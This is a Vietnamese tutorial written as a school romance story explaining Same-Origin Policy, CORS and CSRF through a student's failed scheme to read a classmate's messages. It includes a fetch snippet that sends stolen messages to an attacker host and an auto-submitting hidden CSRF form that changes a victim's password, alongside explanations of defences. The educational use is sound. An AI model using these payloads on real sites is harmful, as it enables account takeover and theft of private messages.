CORS - Cả thế giới, trừ cậu

Vào một buổi chiều cuối thu, gió heo may len lỏi qua kẽ lá mang theo chút se lạnh của cơn mưa đầu mùa. M tựa vào lan can tầng hai, mắt vô định dõi xuống khoảng sân quen thuộc. Ở góc ghế đá cũ, N đang cúi đầu nhìn điện thoại, mái tóc đen ngang vai rủ xuống che nửa khuôn mặt.

Họ quen biết nhau từ năm lớp mười trong một buổi học nhóm. N khi ấy đang loay hoay với một bài toán khó. M nhìn thấy, ngập ngừng một chút rồi lén đẩy tờ giấy ghi lời giải về phía cô.
Cô ngẩng lên, khẽ cười: "Cảm ơn nhé, cứu một mạng người đấy." Nụ cười ấy đã khiến trái tim cậu loạn nhịp.

Những tháng ngày sau đó, qua những cuộc trò chuyện vu vơ ở căn tin, những lần chạm mắt ngắn ngủi trong giờ ra chơi, tình cảm của M lớn lên lặng lẽ, không lời tỏ bày, cậu dần chú ý đến từng cử chỉ nhỏ. Nó trở thành một thói quen, một phần trong nhịp sống của M mà chính cậu cũng không nhận ra.

Nhưng chiều nay khác. Khóe môi N khẽ cong, ánh mắt sáng lên vì điều gì đó trên màn hình. M nheo mắt nhìn, và một cái tên hiện ra — D, người được nhiều bạn trong khối nhắc đến với sự ngưỡng mộ. Cậu đứng lặng. Họ đang trò chuyện với nhau qua Hệ thống học tập trực tuyến (school-learning.edu.vn) mà nhà trường vừa triển khai. Không cần biết họ đang nói gì, chỉ cần thấy nụ cười ấy thôi M cũng đã hiểu rõ mọi chuyện.

Đêm về, hình ảnh N cười với D cứ lặp lại trong đầu M như một đoạn phim không thể tắt. Cậu tự hỏi họ đang nói gì, họ thân đến mức nào. Và rồi, giữa dòng suy nghĩ hỗn loạn ấy, một ý tưởng nảy lên, một ý tưởng liều lĩnh, trẻ con và đầy sai trái: đọc trộm tin nhắn của N.

Kế hoạch hoàn hảo

Biết N mê xem phim, M đã thức trắng một đêm dựng một trang web xem phim với giao diện rất bắt mắt nhờ chút kiến thức ReactJS góp nhặt trên mạng. Rồi M nhét vào đó một đoạn JavaScript:

fetch('https://school-learning.edu.vn/api/private-messages/N', {
  method: 'GET',
  credentials: 'include' // Gửi cả cookie của N
}).then(response => response.json())
  .then(data => {
    // Gửi tin nhắn lấy được về server của M
    fetch('https://phimhay.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

Ý tưởng của M rất đơn giản:

  • Khi N truy cập vào trang web xem phim của M, đoạn mã JavaScript này sẽ chạy.
  • Đoạn mã gửi một request đến school-learning.edu.vn để lấy tin nhắn (request này có kèm theo cookie đăng nhập của N). Server sẽ nghĩ đây là yêu cầu hợp lệ từ chính N, và dữ liệu sẽ được chuyển về tay M.
  • Sau khi lấy được dữ liệu, nó gửi toàn bộ tin nhắn về server do M kiểm soát.

Sáng hôm sau, M hồi hộp mời N vào trang web: "Trang này có nhiều phim hay lắm, cậu thử xem đi!"

N mỉm cười cảm ơn và mở trang. M nín thở chờ đợi.

Nhưng rồi, trình duyệt hiện lên thông báo lỗi đỏ chói:

Access to fetch at 'https://school-learning.edu.vn/api/private-messages/N' from origin 'https://phimhay.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Kế hoạch tan vỡ. M ngồi sụp xuống, nỗi thất vọng dâng trào như cơn mưa mùa thu bất chợt.

Same-Origin Policy (SOP) - Bức tường thành của trình duyệt

Bực tức vì thất bại, M tìm đến K than thở, một đại cao thủ về bảo mật của trường.

Ngồi bên tách trà nóng trong căn phòng ký túc xá chật hẹp, K lắng nghe rồi cười nhẹ: "Cái này là do Same-Origin Policy (SOP). Nó là chính sách bảo mật của trình duyệt, ngăn không cho các script từ một origin đọc tài nguyên từ origin khác để tránh rò rỉ dữ liệu nhạy cảm."

K vẽ sơ đồ đơn giản trên tờ giấy nháp: "Một origin được xác định bởi 3 yếu tố:" Scheme (Giao thức) + Domain (Tên miền) + Port (Cổng) = Origin

Ví dụ:

"SOP đã ngăn đoạn script từ phimhay.com của mày đọc được response từ school-learning.edu.vn, dù request đó đã được gửi đi thành công."

CORS - Cánh cổng có kiểm soát

M cau mày: "Vậy làm sao các trang web gọi API từ domain khác? Như trang phim của tao lấy dữ liệu từ TMDB?" K gật đầu, giọng đều đều như dòng suối chảy: "Đó là nhờ CORS – Cross-Origin Resource Sharing."

"CORS là một cơ chế cho phép server tự nguyện nói với trình duyệt rằng: 'Tôi đồng ý cho origin kia truy cập tài nguyên của mình'.

Khi trình duyệt thấy script từ phimhay.com gọi API đến school-learning.edu.vn, nó sẽ gửi kèm một header Origin: https://phimhay.com. Nếu server đồng ý, nó trả response với Header:

Access-Control-Allow-Origin: https://phimhay.com
Access-Control-Allow-Credentials: true

Chỉ lúc đó, trình duyệt mới cho phép đọc dữ liệu. "Nhưng server trường học sẽ không bao giờ cho phép domain lạ như của mày," K kết luận, khiến M thở dài một cách đầy thất vọng.

CSRF - Cơ hội cuối cùng

M thở dài, nhung rồi ánh mắt lóe lên khi nhớ ra một điều: "Dù SOP ngăn đọc dữ liệu, nhưng tao vẫn có thể gửi request để yêu cầu server thực hiện hành động."

K mỉm cười: "Mày nói đúng rồi đấy. Đây chính là cơ sở cho kĩ thuật tấn công CSRF - Cross-Site Request Forgery."

M hơi nghiêng đầu, nhíu mày, giọng lộ vẻ bối rối: "Mày nói rõ hơn được không?"

K gật đầu, giải thích chậm rãi: "Hãy tưởng tượng như ai đó giả mạo chữ ký của mày để ký một tờ giấy quan trọng thay mày vậy. Trang web xấu sẽ lợi dụng việc trình duyệt tự động gửi kèm cookie của nạn nhân đến một site khác, rồi thực hiện hành động thay mặt họ mà họ không hề hay biết."

"Ví dụ, Nếu hệ thống trường có endpoint đổi mật khẩu đơn giản, mày có thể nhúng này form ẩn vào trang web của mình:"

<!-- Trên web xem phim https://phimhay.com của M -->
<form id="csrfForm" action="https://school-learning.edu.vn/change-password" method="POST" style="display:none">
    <input type="password" name="new_password" value="hacked123">
    <input type="password" name="confirm_password" value="hacked123">
</form>
<script>
    // Tự động submit form khi N truy cập trang
    document.getElementById('csrfForm').submit();
</script>

K giải thích tiếp: "Chỉ cần N truy cập trang web của mày, trình duyệt sẽ ngay lập tức gửi request đổi mật khẩu."

M mắt sáng lên, nhưng K lắc đầu: "Đừng vội mừng! Các trang web hiện đại đều có cơ chế phòng chống CSRF. Phổ biến nhất là CSRF Token - một chuỗi ngẫu nhiên ẩn trong form:

<!-- Form trên school-learning.edu.vn -->
<form action="https://school-learning.edu.vn/change-password" method="POST">
    <input type="password" name="new_password">
    <input type="hidden" name="csrf_token" value="a1b2c3d4e5f6_random_string">
</form>

Server kiểm tra token này khi request được gửi đến và request thiếu token hợp lệ sẽ bị từ chối ngay. Và cũng do SOP nên mày cũng đừng mong đọc được token này.

K giải thích thêm: "Ngoài token, các website còn có những cơ chế bảo vệ khác như:

  • Kiểm tra header Origin và Referer: Server sẽ kiểm tra xem request có thực sự đến từ domain của chính nó không.
  • SameSite Cookie: Thuộc tính cookie có thể được đặt là SameSite=Strict hoặc SameSite=Lax để trình duyệt không gửi cookie trong các request chéo site.

M im lặng, nhận ra kế hoạch của mình chỉ là ảo mộng. Không lâu sau, hệ thống trường học gửi cảnh báo bảo mật về request bất thường trên tài khoản của N. Buổi chiều hôm ấy, N tìm đến M, cô nhìn cậu với ánh mắt cô lạnh lẽo như băng. "Có phải cậu đứng sau trang web xem phim đó không?" - N hỏi.

M đứng lặng, mặt tái mét, không một lời biện minh. Lúc chiếc lá vàng cuối cùng rơi xuống sân cũng là lúc N quay lưng bỏ đi. M đứng đó, lòng đầy ân hận, nhận ra rằng những mánh khóe và thủ đoạn, dù tinh vi đến đâu cũng sẽ bị phơi bày.

Bình luận

0%